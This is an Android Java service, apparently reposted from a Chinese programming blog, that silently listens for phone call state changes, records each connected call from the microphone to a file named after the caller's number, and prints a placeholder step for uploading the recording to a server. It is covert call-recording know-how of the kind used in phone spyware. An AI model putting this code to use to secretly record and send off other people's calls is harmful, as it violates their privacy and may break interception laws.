/** * 理解成一个没有界面的Activity * */ public class PhoneService extends Service { // 电话管理器,系统的一个服务,长期后台运行没有界面 private TelephonyManager tm; private MyListener listener; private MediaRecorder recorder; @Override public IBinder onBind(Intent arg0) { return null; } @Override public void onCreate() { // 监听手机的通话状态。 tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当呼叫的状态发生变化调用的方法。 @Override public void onCallStateChanged(int state, String incomingNumber) { System.out.println("来电号码:"+incomingNumber); // 零响 接通状态 空闲 switch (state) { case TelephonyManager.CALL_STATE_IDLE:// 空闲 if(recorder!=null){ recorder.stop(); recorder.release(); recorder = null; System.out.println("上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING:// 响铃状态 break; case TelephonyManager.CALL_STATE_OFFHOOK://电话接通 System.out.println("开始录音。。。"); //开始录音 startRecorder(incomingNumber); break; } super.onCallStateChanged(state, incomingNumber); } } @Override public void onDestroy() { // 服务停止的时候 取消监听全部的状态。 tm.listen(listener, PhoneStateListener.LISTEN_NONE); super.onDestroy(); } /** * 开始录音 * @param incomingNumber */ public void startRecorder(String incomingNumber) { try { //1.创建一个录音机的实例 recorder = new MediaRecorder(); //2.设置路径的数据源 recorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置输入文件的格式 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //4.设置保存的文件名称 recorder.setOutputFile("/mnt/sdcard/"+incomingNumber+".3gp"); System.out.println("/mnt/sdcard/"+incomingNumber+".3gp"); //5.设置音频编码方式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //6.准备开始录音 recorder.prepare(); recorder.start(); } catch (IllegalStateException e) { e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
电话被录音代码
猜你喜欢
转载自huanxiang0220.iteye.com/blog/2243201
今日推荐
周排行